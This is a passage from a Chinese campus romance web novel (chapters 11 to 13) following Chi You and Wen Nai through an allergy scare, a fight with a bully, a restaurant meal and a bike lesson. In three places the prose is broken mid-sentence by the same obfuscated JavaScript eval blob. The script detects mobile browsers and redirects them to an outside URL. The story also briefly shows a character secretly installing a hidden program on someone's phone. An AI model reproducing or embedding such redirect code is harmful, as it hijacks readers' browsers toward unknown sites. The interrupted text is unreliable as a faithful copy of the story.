毛茸茸的脑袋一起来,温奈就忍不住伸手覆住那里,边摸边道:“是吗?” 池佑看着他,露出点稀奇的神情:“好像是。你天生这味道?” 温奈被问得一愣,放下手,笑起来:“谁天生橘子味儿,新买的沐浴露啦,这样我是不是就很香?” 他穿了一件格子针织背心和衬衫,白皙修长的指尖捏着领子。 池佑看见,缓缓皱起眉,把他的手拿开,又将他领子第一颗扣起来,道:“我们走吧。” 直起身时,他还退了一步。 “池佑,”温奈忽然喊住他,那张小脸追着他目光,凑过来,神情像是有些得意,“你脸红了诶。” 面前的人离得近,瞳孔倒映出清晰的身影,好像在仔仔细细观察着他,想找出什么破绽。 池佑听见了,只是淡定地“嗯”了一声。 脸上发热后,反应好像也变缓了,看着不停在面前左右晃悠的温奈,他头竟然也开始有些发晕。 池佑伸手试图按住对方的肩,想让他别晃了,然后缓缓吐字。 “我头有点晕。” 温奈一愣,见人晃了一下似乎要摔倒,赶紧伸手扶住池佑。 他伸手探了探那张发红的脸,滚烫。 这才意识到不妙。 “天呐你好烫!” 11. 周六 校医第二次看见这俩人了。 也不是难忘,主要因为距离上次见面,也就二十四小时不到。 但这一回她熟能生巧,给人看完了情况开了药,目光在他俩之间一扫,还能开玩笑:“这回你俩不贴着了?” 温奈在一旁倒水,闻言脸一热:“上次,上次也没多贴……” 靠在对面椅子上的池佑吃过药后感觉好了很多,接过话:“上次是意外。” 他说完,看见水杯要满出来了,伸手提了一下热水壶的柄,温奈回神放下手上的东西,看了他一眼,默默往旁边挪了点。 校医笑了笑:“行吧,你情况不严重,把这个药吃了过一会儿会消下去,记得别再接触过敏源,你清楚是什么导致的吗?” 余光里看见人躲开,池佑没说什么,拿起桌面上的水杯,手心贴着温热的杯壁:“还不清楚。” “你出现状况前都做什么了?” 池佑正在思索,温奈以为他不好意思,就张了张嘴。 “他闻过我……” “吃了花生。” 两人异口同声。 校医手中在记录的笔停下,方形眼镜框后的视线朝他们投来。 温奈愣了一下:“……花生?” 池佑看着他:“我去艺术楼前,吃了一点。” 校医抿下嘴角道:“那应该就是了,建议你去医院再系统检查一下,方便以后注意。” 然后她目光转向温奈,还是忍不住露出点笑意:“同学,至于亲吻这类行为,一般来说是很难让对方过敏的,不过也不是没有例外,也要注意。” “什么亲……”温奈反应过来,脸嘭地热了,“是闻!他来之前闻了下我,我还以为或许是沐浴露里的什么物质……” 池佑在喝水,没说话。 校医扶了扶眼镜,道:“哦这样,那这种程度的接触导致过敏的概率就更低了,放宽心吧。” 后面又有人来医务室,两人就先出来了。 回寝路上,池佑感觉自己好了很多,降下温后,看看旁边的人还红着,他问:“怎么了?” 温奈小声嘀咕:“居然……居然是因为花生……” 池佑瞧着他:“啊,你真以为我过敏是因为闻了你?” 温奈被他看了笑话,更觉丢人,他讷讷道:“你笑什么,不难受了?” 池佑语气轻松:“这药见效还挺快。” “……对了,那你要不要请个假什么的,不然明天还得军训。” “军什么训,忘了明天周末?” “居然这么快就周末了”温奈讶异了一下,“那你明天有什么打算?” 池佑扬了扬手里的药:“去医院检查过敏源。” “那其他时间呢?” “嗯……估计会有人喊我打球,还有去我表弟寝玩会儿这几天在打的游戏吧。” 温奈“哦”了一声:“没别的了吗?” 池佑想了想道:“也有别的游戏,不过我最近主要是玩那个。” “……”温奈顿了下,才继续问,“……我是说别的事,像看看电影啊,逛街探店采风什么的……” 嗯,听上去没什么意思。 不过池佑还是故作思考了一下才道:“不如打游戏。” 打游戏温奈不擅长,打球他也不会,于是只好闷声道:“那我陪你去医院吧。” “好意我领了,”池佑看看他,真心发问,“但我早上去,你起得来么?” 听到这话,温奈狠狠瞅他一下,垂了头,语气竟然有些难过:“不是说是朋友吗,你怎么干什么都不带我。” 这让池佑瞧了他一会儿。 好像有点道理。 “嗯……那有一件事,我们可以一起。” 温奈看他:“什么?” 池佑道:“跑步。” 旁边的人静了会儿。 池佑毫无所觉:“就先从这个最基础的开始吧,一起加强身体素质。” 半晌,温奈才开口问:“为什么突然要加强我的身体素质?” 池佑看他一眼:“我能说吗?” 温奈瞅他:“说说看。” 池佑便不客气道:“你好像有点瘦。” 他抬手戳了戳温奈,后者弯了腰,瞪着他:“你干嘛!” “你怕痒啊,”池佑发现后就没戳了,“腰呢过细了点,两只手就钳住,没几两肉怎么能有劲。” 温奈似乎有点不服:“我是天生吃不胖。” “最好也练点肌肉,遇到危险好应对些。” 温奈又不说话了。 池佑就继续道:“盆骨改变不了,但很明显你屁股肉也没多少,腿也没劲。所以跑急了就会容易摔……” “等,等下!”温奈打断了他,其实在听到盆骨之后他就停下了步子。 池佑抬眼看见他涨得通红的脸,住了嘴。 但人憋了半天,最后什么也没说出来,只丢下一句:“你自己跑吧!” 然后就跑了。 跑得飞快。 看上去好像也没那么不爱运动。 池佑看着快速变小的背影,脸上露出点困惑。 ……难道他说得太过分了? 等到晚上回去,另两人吵吵嚷嚷,温奈在这样的环境里自顾自埋头在底下奋笔疾书什么。 池佑洗完澡了看到他还在写,也就歇了问人有没有生气的心思。 等跟温奈更熟一点,他再多劝劝对方多锻炼,学设计的本就久坐,怎么还能不注重身体健康。 不过来日方长,今天这事先放一边,他现在要上线做个日常。 - 第二天一大早,池佑就去了医院。 一查,果然是花生,他原先只知道自己会对一些海鲜过敏,没想到对花生也会。 医院门口,他拿着报告单拍了几张,下楼梯找了个垃圾桶丢了,打车回去。 在快到学校时瞥见一道熟悉的身影,他让司机在这停下,然后走过去。 果不其然,就要路过时,几人为首那个喊住了他:“哟这不是AAA?” 池佑慢悠悠停住脚步,看他一眼:“脸不痛了?” “你找打?”姜文脸黑下来后,左眼那圈乌青看上去就更明显了。 池佑只是问:“刚说的那什么意思?” “温奈没跟你说啊?”姜文嗤笑一声,反手指了指一条小巷子,“过来我就告诉你。” 他们今天多了几个人,一起挑衅地看看他,跟着姜文往里头走。 池佑偶尔会想这些人到底是怎么考上大学的。 但来都来了。 他晃着步子,走了进去。 半小时后,姜文顶着脸上左右两圈对称的乌青,被旁边杂物堆里随便扯出来的绳,跟其他人捆在一块儿。 他疼得龇牙咧嘴,一抬起头,却看见某人气定神闲道:“现在可以说了吗?” 姜文呵呵一声:“求我啊。” 池佑走过去伸出手,那几人立刻哆嗦了一下,刚还嚣张的人鹌鹑似的不动了。 但他没做什么,只是蹲下来,抽走了姜文裤兜里滑出来的手机。 在刚刚的打斗中屏幕碎了一角,但在扫脸解锁后,并不影响翻看。 “你做什么!”姜文被扫了脸才反应过来,气急败坏要夺回来,肩膀忽一沉。 白色运动鞋就踩在他肩上,一踹,他整个人砸在背后木箱角,疼得嘶嘶嘶。 等他缓过来再开口,面目已有些狰狞:“你今天就是来帮他出气的?” 池佑懒得理他,翻看着那部手机,聊天记录都很干净,不过也有点还算有用的东西,通通转发给自己,然后他将事先设计好的隐藏程序安装进去。 姜文不知道他手指飞速滑动是在干嘛,只是把牙都要咬崩了,脏话连篇,但毫不影响那人动作。 直到一句“看来那小子狐媚功夫半点没减啊”,他才看见自己的那部手机一偏,池佑视线转来,移到他脸上。 姜文看起效了,便再接再厉,阴暗道:“是不是晚上还睡一张床啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297392|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你爽着了吧这么上心……” 但突然间“啪”的很重很沉一下,他甚至没看清对方的动作。 话音戛然而止,手机从脸上滑下的时候,眼前还是白花花一片冒金星。 然后是一股铁锈味道,后脑勺和鼻梁的疼痛随即变得尤为尖锐。 “再敢造一句黄谣试试看。” 对方的语气让人不寒而栗。 姜文没法发声,他缓过劲来低下头,啪嗒一声,鼻血直流,脑子还在发懵。 鲜红的颜色刺激了神经。 他忽然意识到这人估计真有点不太正常,上次回去什么也没查到,来历不明,下手又完全不计后果…… 其他人鸦雀无声,姜文咽了咽口水,嘴里一股腥味,他不敢再嘴贱,“你,你到底想怎样。” 池佑蹲下来看他。 他本来一直觉得自己是个挺有素质的人,但这人的话实在是太难听了。 他就忍了一下,还是没忍住伸手拽住了那人头发,强迫他重新解锁手机。 “找温奈,给他道歉。” 姜文被拽住后浑身一僵,但随着头皮愈发疼痛,也只能赶紧找到那个熟悉的头像。 备注也是骂人的。他只觉得自己头皮猛地一紧,耳边落下一声冷冰冰的声:“备注骂自己呢?” 姜文扯了扯嘴角,狂点头:“对,对对骂我的……” 池佑看他那怂样,伸腿踹了他一脚,“赶紧道歉。” 姜文感觉骨头裂了,咬牙忍着痛,按要求反反复复编辑了一大段。 发出去,一个感叹号。 姜文忽然生出些力气似的,“这没办法了吧!是他把我删了,现在肯定也不愿意见我。” 看池佑垂着眼不知道在想什么,他赶紧继续道:“你俩不是一个寝吗要不然你帮我带话,说我知道错了就算了行不行。” 发觉头发被松开了,他险些没控制住表情,露出喜气。 直到听见池佑缓缓道:“不行。” 喜气一扫而空,姜文心一下沉到谷底。 他心里痛骂这人八百遍,磨了磨牙:“那能怎么办?” 池佑刚想开口,手机响了,他衣兜里的。 他拿出来看了眼,居然是温奈打来的语音通话。 快十点了,估计人刚醒不久。 他接起,“喂?” “池佑,”耳边的嗓音慵懒拖得长长的,“你去跑步啦?” 池佑带了点笑:“医院都去完了。” “噢好快啊,你现在在哪呢?” 他扫了眼底下脸色不安的几人,“怎么了?” “我今天想请你吃饭。” “怎么突然要请我吃饭?” “什么突然,我之前不就说过了,”手机里头的人嘟囔一声,“就很多事啊,感觉我都要请不过来了。” 不等池佑回,对方就道:“你省得回来麻烦,我现在就去找你吧。” 池佑慢慢道:“但我现在不是一个人。” 那头顿了一下,开玩笑:“不一个人难道还半个人嘛,你旁边还有谁?” “姜文。” 被点到名的姜文抬起眼看他,脸上露出点莫名其妙。 电话里足足沉默了三秒。 “……你现在在哪?” 不知道是不是错觉,池佑居然觉得对方声音冷了些。 他报了地址后,电话被挂断了。 十分钟后。 温奈气势汹汹地来了,手上还拿了块板砖,“池佑!我来帮——” 但走近看清现场情况后,砖掉到地上,像是有点傻眼:“怎么,怎么回事?” 池佑看他这样,便没忍住笑,指着姜文道:“他要跟你道歉。” 温奈视线顺着他的手,看见一人鼻青脸肿坐在地上,吓了一跳,“这是……姜文,噗——好丑啊!你也有今天。” 他果断拿出手机拍了数十张。 姜文气得直发抖,但被踢了一脚。 池佑看他一眼:“说吧。” 12. 夹菜 姜文深吸一口气,几乎是咬牙切齿。 “对、不……” 温奈顾着看手机,随意赏他一眼,语气有些淡,“一看就不诚心。” 地上的人脸青一阵白一阵,恨恨道:“你们两个别嚣张,薛哥下个月就回来了。” 池佑插一句:“姓薛的是谁?” 姜文冷笑,肿成猪头的脸好像都容光焕发了点:“那可是我们江城二中令人闻风丧胆的……额,校霸!” “……” 原来还会用成语,池佑惊奇。 温奈拉了拉他的衣袖,“池佑,我们快走吧,别理这些神经病了,跟他们呆一块好丢人。” 池佑看了看东倒西歪的几人,道:“也是。” “喂!喂喂!先解开绳啊!” 两人走出小巷时,阳光正好,身后骂骂咧咧正喧嚣。 温奈今天穿了一件浅绿针织上衣,里搭条纹衬衫,领口系了一条同色系的丝巾,整个人清新又透气。 他抓着自己的小挎包,歪头看池佑:“话说你们怎么会遇上?” “我刚到学校,然后就被他带人拦下来了。”池佑顿了下,还是想问,“所以那个姓薛的是谁?” 身边的人沉默了一会儿。 温奈指腹磨着挎包带子的纹路,眼睫低垂,发丝受风一吹,阴影恰好遮住了他的眉眼。 也就让人错过了他眼底闪过的冰凉。 他只听到依旧软糯的嗓音,还带了点委屈:“反正都是以前高中欺负我的一些人,道德败坏,人品堪忧,姜文也都是听他的。” 这么一说,隐约当初听那姑娘提起过,但对方没细讲,池佑这才知道原来大学欺负主角的和高中是一帮人。 他顿时皱眉:“岂有此理。” 闻言,温奈对上他移过来的目光,慢慢红了眼眶,松开咬着的下唇附和:“……就是啊。” 池佑见状,想办法安慰他:“别难过,要是那谁回来再欺负你,我帮你打回去。” 旁边人身体有些贴近了他,池佑隔着衣服都能感受到靠近的体温,不自觉绷紧了手臂肌肉。 他刚想开口问靠这么近做什么,面前出现了一部手机,上面是导航。 温奈笑盈盈道:“我们去这吃饭怎么样,离这不远,几条街过去就是,这家店甜品很好吃。” 原是要他看导航。 池佑放松了些,认真看了看,念道:“……幸福小记。” 两人进入这家餐厅时,池佑先根据习惯看了一圈周围环境。 橘黄色调,绿植点缀,编织小吊灯高高低低,年轻男女三三两两相对而坐,看上去挺有氛围的一家店。 一个姑娘正在服务台坐着。 温奈似乎跟人很熟,主动打招呼:“璐姐好久不见,伯父伯母最近还好吧。” 被称作璐姐抬起头,一脸惊喜:“小温?这么久不见终于又来啦,他俩好着呢,欸这是你朋友呀……天哪两个人站一起真俊……” 她招呼着他俩坐下,递过来一本菜单,“看看都要吃什么,今天可有你最爱的菠萝咕噜排骨。” “那得要一份,再来点……”他抬头问池佑,“你有什么忌口不?” “没。”池佑说完又想起什么,补了一句,“我不吃菌菇。” 温奈点着头,勾了好几道,然后递给他看,等下好单,两人又寒暄了几句,璐姐就去别处忙了。 等餐时,池佑喝了口茶才问:“你们很熟?” 温奈左右瞧瞧:“以前放学常来这吃,我们坐车路过的那所学校就是我高中。” 池佑有些印象。 这家店上菜很快,第一道就是温奈最爱吃的菠萝咕噜排骨。 “这是她家招牌,你快尝尝看。” 池佑挑了一块,排骨上金红的糖醋汁挂得均匀,菠萝的甜和黄椒的清香缠在一起,咬下去是外酥里嫩的烫口。 “不错。” 受到认可,温奈就像这菜是自己做的一般,颇有些骄傲地笑起来,也开动了筷子:“你喜欢我下次还带你来吃。说起来我还担心这些入不了你的眼。” 池佑忙着吃,才听见他的话一般:“怎么会,我妈以前也常做排骨给我吃,不过做法与这有点不同。” “你家氛围还挺不错。” 温奈夹了一块黄牛肉片,低头吃着。 “嗯……”池佑顿了下,想起很久远的事目光都放空了一会儿,回神时已经上到第三盘菜了。 他夹了一筷子,也关心温奈一句:“你是不是有哥哥?” 温奈刚伸手拿茶杯,一个不小心,水洒了出来,皮肤顿时红了一片。 池佑赶紧递给他纸巾:“要不要去冲一下冷水?” “没事,不烫。”温奈很快用纸巾擦掉了水渍。 “这都红了。”池佑还是跟服务生要了冰袋,让温奈垫纸敷一敷,然后帮他把茶倒好。 温奈按着被烫到的部位,回他刚刚那个问题:“我是有两个哥哥,他们是双胞胎。” 说着,他撩起眼皮,慢慢道:“你突然问我,是听说什么了?” “嗯?没,只是我家里也有个比我年纪大的同龄人,”本来没有,现在有了,他道,“你平时都怎么跟他们相处?” 红印消下去了些,温奈把冰袋放一边,垂眼拨弄碗里的一小块青椒:“不知道,我们不怎么相处,也不住一起。” 说完,他很快就扯到别的话题上去,池佑也就没再问,只当这是一段小插曲。 两人聊了一阵,刚安静下来。 池佑身后忽响起一道甜腻腻的女声:“宝贝这家店的冰淇淋布丁好好吃。” 他没什么反应。 情侣么,这店里到处都是,他俩坐在店内靠墙的位置,刚刚出声的那对情侣就是池佑后边角落里的那桌。 进来时没注意到,可能是之后来的。 但女生旁边的男生声音低沉许多,但语调也是控制不住的甜腻:“那我喂你噢,啊——” 池佑:“……” 哥们,听着都快夹不住了。 身后还在你侬我侬甜言蜜语个没完。 池佑权当做没听见,只顾着吃饭,直到察觉一道越发热烈的目光落在自己身上。 他抬起眼,跟温奈对视:“怎么不吃了,你才吃一碗饭,别说吃饱了。” “我还吃呢……”温奈应着,忽然拖长了尾调喊他名字,“池佑——” 然后没头没尾的一句:“你看起来有点落寞,是不是也很想要?” 池佑疑惑抬眼:“想要什么?” 温奈笑眯眯的,提起筷子夹了一块香喷喷的排骨放到他的碗里:“我夹给你就是了……” 原来说的是这菠萝排骨,他寻思热血漫男主这么热心肠呢,还会帮忙夹菜。 虽然他刚才吃了很多,但还是低头吃了,说了句:“谢谢,刚是有点远。” 温奈但笑不语,只是用仿佛洞悉一切的眼神看着他。 池佑只当他又浸在莫名的小得意中了,自顾自夹了一片近处的椒炒五花肉。 他不知道,身后两人聊着聊着,越靠越近,直至换了风格,甜腻腻的男声女声胶在了一块,然后变成了湿润的水声。 饶是池佑单身二十年,也知道此时那两人在干什么。 只是这啵儿打得十分隐晦,隐晦到只有他们这一桌听得见,而且一会儿便分开了,但隐约还能感受到那两人一齐陷入甜蜜的默契中。 池佑听完了全场,只觉得脸有些热。 而面前那道直直看着他的目光好像更加深不可测起来,他只好又抬起头。 温奈眨了一下眼。 随即倾身小声道:“池佑,你在想什么呢?” 池佑还没想到要回他什么,忽觉桌底下,什么东西在轻轻蹭了他一下。 隔着薄薄的袜,像一尾有温度的鱼错把他认作了水草,脚腕处有些热,还有些痒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297393|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这点暖意顺着裤管往上爬,小腿肚好似被若有若无地蹭着,每一下都拖得又慢又长。 池佑一下静了音,想把腿收回去,又想不动。 主要,不知道对方是不是故意的。 如果贸然把腿收回来,正倚着自己的那只脚脖子可能会因为惯性撞到桌腿。 桌面上,温奈却是轻轻一笑,仿佛看透了他一般,语气带着莫名的委婉。 “但这个,不太行。” 池佑想问哪个,一开口舌头却有些捋不直,他只好先倒点水喝。 温奈目光一滑,又落在他不断上下滚动的喉结上,明艳艳的眼珠跟着上下滑动,那目光便更深了些。 池佑喝完了一整杯水,他放下杯子,才感觉自己身子里的那股燥热短暂降下去点。 但桌子底下刚刚蹭他的腿却不安分,他左膝盖这会儿好似被对方的膝夹住了,随着桌上的夹菜动作,被若有似无地蹭过。 一点温度隔着布料传递过来,随着触碰像电流般席卷了全身,比刚才听见身后那水声还叫他起鸡皮疙瘩。 池佑绷紧大腿,手腕微微用力抵着桌沿,瞬间拧紧了眉。 几乎就要认定对方是故意时,又发现那轻微动作好像只是因为温奈要夹菜才带动的而已。 正纠结着,刚被凉水浇灭的热意又涌了上来。 桌上的茶壶已经空了。 他咽下口水,不动声色缓慢收了腿,准备去买瓶牛奶。 温奈这时叫住了他,似所觉似的惊讶:“池佑,你脸怎么又这么红?” 又? 池佑抬眼看去时,这人还是笑着,脸上的表情像是有点天真,像是有点坏。 好像在说,这回总被他抓住了吧。 但池佑来不及细想,嘴里实在受不住了。 他道:“你等等,我快要被辣死了,先去买个喝的。” 说完便再也控制不住地嘶嘶抽着气,紧紧拧着眉,面色沉重地迈开两条长腿去找救命的牛奶了。 留下坐在原位的人,呆呆的。 辣死了? 那刚刚的脸红…… 温奈看见对面碗里还剩下一块椒炒五花肉。 “……” 罪魁祸首! 温奈气呼呼地夹过来消灭了。 几分钟后,池佑拿着一瓶只剩了半瓶的牛奶回来,神情已经缓和了许多,没有刚才那么红了。 温奈自觉没点好菜,露出很不好意思的神情,又想到刚刚桌底下的事情,更是要羞到地里去了。 他闷闷道:“你怎么不早说你不吃辣。” 池佑嘴里还有点麻:“我看图标上只有一个辣椒,以为还好,没想到能有这么辣。” 说着他又控制不住咳了几声,继续喝牛奶缓缓。 温奈讷讷道:“忘了说这里负责炒菜的大叔是川城人,菜品就会都偏重口些。” “原来这样,”池佑低头看碗里,“我刚还有一块呢?” 温奈揪着手指:“你不是说太辣了么,我就吃了,免得浪费。” 池佑点头:“其实刚是看你吃了很多,脸色还这么正常,我才以为没什么,原来是你能吃辣。” 闻言,温奈回话语气积极了点:“这算什么啊,一个小辣椒的菜也能算辣么,你太菜了。” 但毕竟是他请客,还给人辣着了,他道:“这顿不算,我改天再带你去吃清淡点的。” 池佑不喜欢被说菜,有些倔强道:“没事,反正我听说吃辣是能练的,我多吃点就当练习了。” 说着,他面不改色地又夹了一块。 结果刚入口没几秒,他脸上便肉眼可见迅速红温起来。 牛奶牛奶牛奶。 温奈都看不下去了,他双膝轻夹了一下对方,“要不然算了吧,其实我就是天生的。” 他这突然一夹,池佑猝不及防,咽牛奶时急了点,就被呛到了,登时咳得惊天动地。 13. 消遣 好在甜品很及时地到了。 两样,分别盛在一杯一盘子里。 温奈将那杯黄澄澄的推到池佑面前,“还好点了这杯‘金风玉露’,你快尝尝好不好吃。” 池佑还来不及看,一感到冰气,便拿小银匙舀了一勺入口,绵密的冰沙化在火热的唇舌间,这才堪堪镇住体内那股热血的沸腾感。 他这才有空看这所谓“金风玉露”是什么模样。 透明的玻璃碗壁上凝着一层细密的水珠。最底下是打成蓉的绿豆冰沙,中间一层酒酿冰奶,顶上冰沙小山缺了一角,金黄的桂花蜜便顺着冰粒缓缓渗下去。 池佑道:“一口就不辣了,还不错。” 温奈一直等着他的评价,闻言又有些灿烂起来:“那当然,这可是店里招牌呢。” 池佑看见另一边,问:“这道叫什么?” 温奈便给他介绍:“这叫‘一口心动’。” 池佑顿了下,感觉有点土。 但毕竟还是在人家店里,他只是又看了看,然后纠正:“分明该叫两口心动。” 因为白瓷盘里卧着的是两团泡芙,一边草莓,一边开心碎,一口吃不完。 温奈觉得他说的有道理,便赞同道:“改天我去提建议。” 两人消灭了最后的甜点,池佑本不想让对方请客,但温奈太不好意思了,推搡他去门口等,池佑遂作罢了买单的心思。 在门口没站一会儿,忽然听到有人喊他:“池哥?” 他抬起眼,来人是个麻子脸,身后跟着个小男生。 池佑对喊住他的人道:“你认识我?” “真是你啊,”那人上下看了他好几眼,“变化这么大我第一眼都没认出来,我是俊子啊王俊,我俩高中一个班你不记得了?” 俊子……这名字池佑听着胃不太舒服。 不过应该是原身京都的朋友。 他道:“哦王俊,我想起来了,你怎么在这?” “没,本来我家要给我送去国外,我偷跑回来的暂时躲这边,你呢S大?” “对。” 王俊又吹嘘了他一番,然后笑了下:“对了前几天简哥他们还在说有空要来江城玩呢,到时候你来不来啊,欸你是不是还不在我们那群里,回去我拉你。” 听上去是什么高中同学聚会,池佑没答。 王俊“哎”了一声,上前搭着他肩道:“你以前就闷的要死,要是实在怕认不得几个人我到时候给你介绍嘛,那什么其实简哥他们上次都说想起你了……” 池佑把他的手拿开,还没说话,先听见身后传来一道声音。 “池佑,这人是谁?” 两个人回过头,看见温奈走出来,虽是问他,眼睛却盯着他抓住王俊腕子的手。 池佑松开手,对他道:“这是我高中同学。” 又对王俊道:“这是我室友。” 温奈看了王俊两眼,后者看见他眼神却亮了亮:“哎池哥到时候带你室友一块来玩啊。” 池佑敷衍了句:“到时候再说吧。” 王俊又跟他扯了些有的没的,带着他身后一直没说话的小男生进店用餐去了。 等人一走,温奈就凑过来道:“他刚刚在你耳边偷偷说什么呢?” 池佑有点疑惑:“什么在我耳边,我们就没说几句话。” 温奈看着他:“但我听见他说很想你。” 想起那张麻子脸和这话,池佑鸡皮疙瘩险些掉一地。 他很努力想了一下,终于知道温奈在说什么了:“你听错了,他说的是有个老同学上次想起我。” “哦这样。”温奈语气一松,很快就换了个话题,“我们接下来去哪?” 池佑看了眼有些阴下来的天空,提建议道:“回去?” “这么快啊,可今天是周末呢。”温奈垂下眉毛,小声嘀咕,“不过回去也行吧……” 这两周军训,周末确实是为数不多有空出来的时间。 “不想那么快回去的话……”池佑环视一圈,想了个主意,“那我们去消遣一下也行。” 温奈愣了愣:“消遣?” 他余光瞥见这街旁边藏在角落里的某些看上去似乎不太正经的店。 池佑刚刚是不是就在看这个? 他脸上一下子微微有些红,不知是气的还是羞的。 说话也有些不顺畅:“你、你才大一,怎么可以……我我不会跟你胡来的……” 看池佑望着自己没说话,脸上似乎是没理解的样子,温奈鼓起些勇气,结结巴巴声明:“我跟你说,我,我不是那样的人……才不会去……” “滴嘟——共享单车欢迎您~” 那边的单车解锁音忽然响起来,打断了他的话。 池佑手上还举着手机,好是有些不理解:“大一不能骑车?” “骑、骑车?”温奈表情滞住了,目光缓缓下移,看见了那一排崭新的单车。 他哑然:“你说的消遣就……就是骑车?” “不然呢正好饭后消食。”池佑看他脸色奇怪,想起些他刚刚的话,“你刚说你不是怎样的人?” 对面默了好一会儿。 “……我不是会骑车的人。” 这池佑倒是没想到,他露出怀疑的神情:“真的?别是消极运动找的借口吧?” “……真的不会,我没学过。” “那你以前怎么上下学?” “走路或者打车,我住的离学校不远。”温奈试图建议,“要不然我们换……” 他本来想说换个消遣方式。 没想到池佑道:“那之后去教学楼走路岂不是很不方便,我教你吧,其实很简单的。” “教,教我?” 池佑已经将刚才解开的那辆单车挪出来,让温奈自己坐上去。 温奈懵懵的,开始学骑车了。 午后的街道人影稀疏,这条街除了梧桐树便没什么人了。 他第不知道多少次没控制住车头,手忙脚乱地将车轨扭成S形后,终于听到了旁边人没忍住的笑声。 他单脚撑地回过头,耳尖发红,有些丧气地松开车把:“你笑话我,我不学了。” 池佑立时收了音:“你听错了谁笑话你,你得看前面,轮子没什么好看的,别担心摔,我给你扶着。” 见他过来扶车后座,温奈重新开始时莫名比刚才还紧张几分。 他其实不怕摔了疼,但就是控制不好,歪七扭八的,很没安全感。 而且摔了的话,会很丢人。 车轨平滑了些。 “我放手了?”池佑突然说。 “等,等等!”温奈额间碎发渐渐被汗沁湿。 “好好不放。”池佑见状道,“慢慢蹬,我在后面扶着呢。” 车子摇摇晃晃前行。 风吹起他的衬衫,鼓起又落下。 然后他在温奈不知道的时候,缓缓松开手,只是在后面一两米跟着,还不忘随时出声。 “对,就这样——”他的声音带着笑,“很厉害嘛,学得这么快。” 温奈抿着嘴没回头,脊背却松了些。车轮碾过落叶,发出清脆声响。 一段距离后,他不经意往下一瞥,语气有些困惑。 “池佑你影子怎么那么远……” 他意识到什么:“你是不是松手了!” 池佑刚答道:“我没松手啊,你……” 忽然发生了变故。 一只猫窜过空路面。 单车上的人避之不及慌忙扭把,车身猛地倾斜。 池佑眼疾手快箭步上去。 人摔进他怀里的时候,冲力连带着他往后退了半步。 等站稳了,他才意识到手掌的位置不对。 隔着薄薄的运动裤,掌心陷进一片柔软里。 空气安静了一瞬。 池佑隐约察觉那是什么,默不作声收回手,先关心了一句:“没事吧?” 温奈没回答,只是低着头,飞速松开了攥着的衣角。 两人拉开距离,自行车倒在路边,前轮还在空转。 一粒光斑落在温奈的睫毛上,他退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297394|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后了小半步,眼睫垂得更低了些。 声音低低的:“刚才……” 问到一半,却还是停住了,唇抿了抿。 看他欲说不说的,池佑道:“刚才什么?” 不知道是他这神情还是语气,给了温奈一点勇气,还是问了出来。 “……你刚才不是故,故意的吧。” 池佑愣了一下:“你指什么?” 看他那模样,温奈心里隐隐已经有了点答案,但还是红着脸执拗地说完了:“屁股。” 池佑慢慢睁大眼睛了。 温奈紧紧盯着他,脸愈红了。 池佑抿下嘴角,先正经道:“绝对不是故意。” 温奈马上“哦”了一声,视线胡乱飞开:“那、那没事了……” 他瞥见了池佑忍笑的脸。 “你你笑什么。” “我说你刚刚怎么脸色这么差,还以为是被那蹿出来的猫吓到了,原来是因为这个。” 他笑半天,看温奈羞愤,又正色了点:“你要实在介意,我可以给你摸回来。” 温奈慌忙扭过脸:“……不用了,刚谢谢你。” 他把车扶起来,挎包放到前面的篮子里,还是没看他:“我们回去还是继续……” 池佑把他的小挎包拿起来背身上,对他道:“把车锁了过来,我载你,不然第一天就上路不太安全,等去学校里再练练吧。” “载,载我?” 温奈锁了车,跟着他走过去:“共享单车没后座,你怎么载我?” 池佑又解锁了另外一辆。 “这不是还有亲子单车吗,后座虽然小了点,但你……”他想起什么又忍不住笑了,“应该能坐进去吧。” 温奈顿住了,一下抿紧唇,脸颊发烫。 却没吭声,绷着红脸走过去抬腿跨过,一鼓作气在后边坐下了。 “不准说这个了!”后座上的人脸颊小气球一样鼓起来了,又瘪下去,叭叭告知他,“我坐好了。” 池佑回头看了眼,空间是挺狭窄,多亏温奈骨架不大,只是腿曲起来踩在儿童小踏板上,脸上还有点哀怨,瞧着是有几分委屈。 他想了想道:“要不然我们还是打车回去?” 温奈低着头,没有回话。 虽然铁框硬邦邦,却也没有箍到腰。 他道:“我都已经坐好了,快走吧,待会儿说不定会下雨。” “嗯也是,那你记得抱着我。” 池佑转头上了车,载着后面的人冲出去,车轮在空旷的街道滑出一条清晰的轨道。 不过温奈没有像他说的那样抱着他,只是抓了一点他的衣摆,手在晃动时偶尔会碰到他后腰。 池佑被他这样要碰不碰地弄得直痒,差点都没控制好力度,一直沿着直线的单车轨道乱了一瞬。 